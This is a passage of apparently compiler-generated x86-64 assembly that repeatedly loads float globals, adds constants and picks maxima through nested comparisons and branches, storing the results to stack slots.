.L1521:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
.L526:
comisd xmm1, xmm2
jbe .L1522
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1523
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
jmp .L532
.L1523:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
jmp .L532
.L1522:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1524
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L532
.L1524:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
.L532:
comisd xmm0, xmm1
jbe .L1525
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1526
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L540
.L1526:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L540:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_7[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1527
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
jmp .L543
.L1527:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
.L543:
comisd xmm0, xmm1
jbe .L1528
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1529
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L553
.L1529:
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L553
.L1528:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1530
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC25[rip]
addss xmm0, xmm1
jmp .L553
.L1530:
movss xmm1, DWORD PTR x_7[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L553
.L1525:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC29[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1531
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC29[rip]
addsd xmm0, xmm1
jmp .L556
.L1531:
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L556:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1532
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L559
.L1532:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
.L559:
comisd xmm0, xmm1
jbe .L1533
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC29[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1534
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC31[rip]
addss xmm0, xmm1
jmp .L553
.L1534:
movss xmm1, DWORD PTR x_10[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L553
.L1533:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1535
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L553
.L1535:
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
.L553:
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1536
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L571
.L1536:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
.L571:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC22[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1537
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L574
.L1537:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
.L574:
comisd xmm0, xmm1
jbe .L1538
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1539
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L580
.L1539:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L580
.L1538:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1540
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L580
.L1540:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
.L580:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1541
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
jmp .L586
.L1541:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L586:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_15[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC3[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1542
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
jmp .L589
.L1542:
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
.L589:
comisd xmm1, xmm2
jbe .L1543
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1544
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
jmp .L595
.L1544:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L595
.L1543:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1545
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L595
.L1545:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
.L595:
comisd xmm0, xmm1
jbe .L1546
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1547
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L603
.L1547:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
.L603:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC22[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1548
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L606
.L1548:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
.L606:
comisd xmm0, xmm1
jbe .L1549
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1550
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC33[rip]
addss xmm0, xmm1
jmp .L616
.L1550:
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L616
.L1549:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1551
movss xmm1, DWORD PTR x_7[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L616
.L1551:
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC25[rip]
addss xmm0, xmm1
jmp .L616
.L1546:
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1552
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L619
.L1552:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L619:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1553
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L622
.L1553:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
.L622:
comisd xmm0, xmm1
jbe .L1554
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1555
movss xmm1, DWORD PTR x_10[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L616
.L1555:
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L616
.L1554:
movss xmm0, DWORD PTR x_13[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1556
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L616
.L1556:
movss xmm1, DWORD PTR x_15[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
.L616:
movss DWORD PTR -28[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1557
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L634
.L1557:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
.L634:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1558
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L637
.L1558:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
.L637:
comisd xmm0, xmm1
jbe .L1559
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1560
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L643
.L1560:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L643
.L1559:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1561
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L643
.L1561:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
.L643:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1562
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L649
.L1562:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
.L649:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC29[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_15[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC1[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1563
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC29[rip]
addsd xmm2, xmm3
jmp .L652
.L1563:
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
.L652:
comisd xmm1, xmm2
jbe .L1564
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1565
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L658
.L1565:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
jmp .L658
.L1564:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1566
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
jmp .L658
.L1566:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
.L658:
comisd xmm0, xmm1
jbe .L1567
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1568
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L666
.L1568:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
.L666:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1569
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L669
.L1569:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
.L669:
comisd xmm0, xmm1
jbe .L1570
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1571
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L679
.L1571:
movss xmm1, DWORD PTR x_3[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L679
.L1570:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1572
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L679
.L1572:
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC27[rip]
addss xmm0, xmm1
jmp .L679
.L1567:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
